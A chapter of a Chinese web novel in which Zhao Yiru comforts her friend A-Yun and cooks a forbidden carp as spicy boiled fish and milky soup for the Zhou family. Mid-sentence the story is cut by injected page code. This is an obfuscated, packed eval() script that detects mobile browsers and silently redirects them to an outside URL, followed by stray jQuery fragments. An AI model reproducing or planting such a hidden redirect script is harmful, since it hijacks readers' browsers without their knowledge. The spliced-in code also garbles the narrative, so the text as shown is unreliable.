赵意如不太会安慰人，但还是劝道：“阿芸，我的事情我心中有数，你不用替我太过担忧，就算夏三不承认曾毒害我，梅娘子的事他也罪责难逃，梅娘子遭遇可怜可叹，我们以后可以多关照她一下，至于你大伯家的事情早已成定局，这些都不是你的问题，你得学会尽快剥离他人的痛苦，悲伤是有重量的，你这样什么都压/在自己心上，你会生病的。”


    周稚芸她吸了吸鼻子，觉得阿姐对她真好，便使劲点头：“我知道了！我不想这些了！”


    赵意如见她情绪转圜的这么快，觉得她还是没明白，也罢，空泛的劝告起不了太大的作用，还是自己以后多多留意她的情绪状态吧。


    然而，赵意如好像高估了自己的洞察力，周稚芸的情绪来如疾风去若骤雨，午睡起床的时候，她什么都忘了，开始惦记起晚上吃什么。


    赵意如心想：胃是情绪器官，真正悲伤的人是没有胃口的，周稚芸这几日饮食如旧，她怎么给忘了！周稚芸就是那种上一秒还“兔兔好可爱”，下一秒就：“真香”的性子，总之她难过的时候是真难过，不难过的时候也挺开心的。


    像周稚芸这种情绪化的女孩子最好哄了，一顿美食足以让她忘却悲伤，赵意如：“从前跟着祖母也学过几道菜，一会做给你吃”


    周稚芸自然同意，“去我家做吧！家里菜多”。


    晚间，赵意如捡了几个茄子洗了，又将猪肉剁成肉沫搁置在一边，周稚芸开了橱柜取出稻米，“阿姐，晚上做稻米饭行吗？”赵意如点点头：“加些黄粱更香糯！”周稚芸弯眼一笑：“好呀，我去洗米。”


    赵意如切了茄条，又打量一圈厨间。


    安平村离洛阳城很近，村人除了耕种，闲时大多人都在洛阳城或做短工赚些花销，或者卖些菜蔬瓜果补贴家用，日子虽不富贵，但胜在年年有余。


    周爹爹最善侍弄田地，他单单辟出一片菜地，三五日就进城一趟贩卖自己所种菜蔬，因而他家的厨间也食材丰富，鲜蔬鱼肉总是不缺，今日进城才割了肉回来，水缸里还养了一条前两日周五郎从河里网的鱼。


    赵意如打眼一瞧，竟是条好大的鲤鱼！


    周稚芸洗完米瞧见她盯着水缸瞧，不由心虚：“养这劳什子倒要招祸，阿兄偏要捞来，我去杀了，咱们做鱼脍来吃可好，就是不知家中可还有八和齑。”


    赵意如知晓她是何意，因得大雍天子姓李，“鲤”与“李”谐音，因而规定百姓不得食用鲤鱼，违者是要挨板子的。


    但虽说朝廷禁断天下人食鲤，仍旧管不着百姓私下里偷偷捕食，只要不明晃晃的昭告天下，旁人是不会掀开锅盖去瞧你锅里是鲤鱼还是鲫鱼。


    至于鱼脍，那便是生鱼片，大雍文人之间推崇生吃鱼片佐酒，慢慢在百姓之间也流行开来。


    通常吃法就是将鱼儿片成薄片，蘸芥子酱或八和齑来吃，据说十分美味，大诗人杜甫就有：“落砧何曾白纸湿，放箸未觉金盘空”，王昌龄在送别时还不忘留下：“冬夜伤离在五溪，青鱼雪落鲙橙齑”的诗句。


    赵意如有心克服心理障碍，也想尝试一下让文人墨客竞相留诗赞美的鲜鱼脍，奈何周稚芸翻找一通，未找到任何蘸料，现做芥子酱来不及，那八和齑更是做法复杂，须得姜、蒜、橘、白梅、熟栗黄、梗米饭、盐、酱，这八种料捣制而成，不是一时可得之物，两人只好放弃。


    赵意如见那鲤鱼长得肥美，便道：“生鱼片既吃不成，咱们做熟了来吃，不知你食不食得辣?”


    周稚芸拍手：“我最喜辛辣，阿姐只管做来。”


    这条鱼少说也有五六斤重，赵意如与稚芸二人合力将鱼宰杀清洗干净，稚芸见她拿着刀对着砧板上的鱼左右比划，便笑：“可是这刀锋不利？我去磨上一磨。”


    赵意如在鱼尾上试了一下，还算锋利，“利的很，今日这道水煮鱼不用片的很薄。”


    说完便左右各下一刀，将鲤鱼剔除鱼骨，交予稚芸清洗干净，自己将剩下的鱼肉仔细片成薄厚均匀的鱼片来，用盐、葱姜水并一个蛋清搅拌，搁在一边静静腌制。


    再将锅烧热，下猪油，把鱼头与鱼骨放进锅中煎炒，直至鱼骨被煎的两面金黄，赵意如便把葱姜丢进去，倒上早就准备好的开水，只见锅中立时翻滚起来，不多会鱼汤就色如牛乳。


    周稚芸看的惊奇，不住赞叹:“阿姐好厨艺！这是跟谁学的？”


    赵意如不敢胡说，只道：“昔日曾见一书中所说，将肉或鸡子煎一煎，再注上沸水，可使汤色洁白如脂，今日一试果真如此。”


    “只鸡子也可如此么？”


    赵意如将锅盖严实，“下次咱们试一试，阿芸，小火炖上一刻。”


    周稚芸依言抽了几根柴，奇道：“我以为书中只教人做官的学问，竟不知还教如何做菜。”


    鱼汤在锅中咕嘟咕嘟地翻滚着，灶间升腾起鲜香的雾气，让人心中有说不出的平静与满足。


    赵意如轻声道：“织布种田与之乎者也都是学问，一样值得著书育人。”


    稚芸闻言噗嗤一笑：“阿爹要是识得字，也可写一本种田经了。”


    等候着时辰差不多，赵意如另烫了一些芽菜和莴苣丝放在陶盆里，这才掀开锅盖，鱼骨已然煮的酥烂，她小心翼翼的将鱼骨挑拣出来，这一锅鱼汤只加盐就已经很鲜美了。


    赵意如想到周稚芸四嫂还在哺育孩儿，便说：“阿芸，我将这鱼汤加些青菜，煮上一碗清汤，你送与阿嫂喝了。”


    周稚芸：“也好，阿嫂乳汁不足小郎成日里吃不饱，还要添些米汤，阿娘愁的不知如何好，平日里也煮鱼汤送过去，只阿嫂嫌腥总不爱喝。”


    她可闻着了，今日阿姐煮的鱼汤不光色白如雪，竟也不腥。


    赵意如便用小灶做了一碗青菜蛋花鲜鱼汤，若不是这里胡椒价比黄金，这鱼汤里要是能来些胡椒碎，更是味美。


    周稚芸提了陶罐去阿兄家送鱼汤，赵意如开始起锅干煸辣椒与花椒，直至煸的干香盛出，待冷却后切碎，一股子辛香直冲鼻腔，她忍不住偏头打了


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17054793|194353||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个喷嚏。


    周稚芸不在，她便自己添柴将锅烧热，化开猪油后将豆酱炒香，紧接着倒入煮好的鱼汤，等汤沸，把腌好的鱼片小心地放进去，鱼肉刚变色她就抽了柴火，久煮肉就柴了，灶下余温一样能把鱼肉烫熟。


    继而把煮好的鱼捞进陶盆中，将切碎的辣椒铺在上面，又切了些蒜末葱丝配色，心里想着要是有芫荽就更是锦上添花。


    最后淋上烧热的油，陶盆中红油鼎沸激的鲜香四溢，这回不光厨间，外院里都是让人垂/涎三尺的香气。


    周稚芸这边送去鱼汤，周母恰在给阿嫂做饼，听闻赵意如做了鱼汤，笑道：“我正愁不知要给媛娘做什么汤水，如今正好相配。”


    周稚芸便将鱼汤递与阿娘，自己去屋中逗弄小郎。


    小郎如今还未满百天，名唤阿俭，生的圆头圆脑十分爱笑，一笑就口水涟涟，有时笑的连眼睛都瞧不见了。


    周四嫂见小姑也是胖胖的脸颊，一/大一小在床上咿咿喔喔，十分有趣。


    等小郎嬉笑完，她随手便将小郎拉进怀中喂奶，一旁的周稚芸脸一红，嗔怪：“阿嫂也不避讳，我还在这里呢。”


    周四嫂瞧她面红耳赤，便侧身稍稍遮蔽一下，噗嗤一笑道：“是我不好，无意间冒犯了阿妹，阿妹莫要与我生气。”


    正说着周四郎回来了，见阿妹与自己娘子在说笑，便也没进里间，只在院中与阿娘说话。


    周稚芸听闻阿兄回来，留下一句：“我再不来找阿嫂玩了。”便匆匆跑了出去。


    周母正好将饭食递与周四郎，见女儿从屋里出来便道：“四郎，你且把这鱼汤端给阿媛，娘就先回去了。”


    周四郎将饭食端进屋中，见娘子仍面带笑容，口中朝着窗外小姑背影道：“这丫头溜得倒快，我还有话要与她说呢！”


    周稚芸母女二人相携而归，正在院门口碰见荷锄归家的周爹爹，一家三口都闻到了院中霸道的香气，周稚芸连招呼都不及与阿爹打，忙提着裙摆往厨间跑。


    赵意如正端着一盘子肉沫茄子准备摆在饭桌上，差点撞上周稚芸，周稚芸吐吐舌头，赞道：“好香！阿姐，可以吃饭了吗？”


    赵意如摆好饭菜，看到后面跟进来的周氏父母，笑答：“饭菜已经备齐，可吃了。”


    王氏见堂屋桌上摆齐的饭菜与碗筷，又见她因在厨间操持而微红生汗的面颊，越看心里越喜欢。


    赵意如夹了一筷子鱼肉，只觉鱼肉爽滑鲜辣，十分下饭，还有肉末茄子配米饭，吃的十分满足，周稚芸一边吃一边夸，最后也顾不上说话，闷头苦吃。


    周爹爹一上午在城中打个来回挑卖菜蔬，又在地里劳作半天，此时腹中空空，一整碗黄粱稻米饭下肚只觉像是往洛水里丢了颗小石子般毫无涟漪，又起身添了一/大碗饭，他本就爱吃鱼肉，今日这菜做的又颇合口味，最后赵意如与周稚芸母女二人都吃饱了，他添上了今日的第三碗饭，边吃边暗暗开心：还是女儿贴心，将来阿芸给他打酒，三娘给他炖肉，岂不美哉?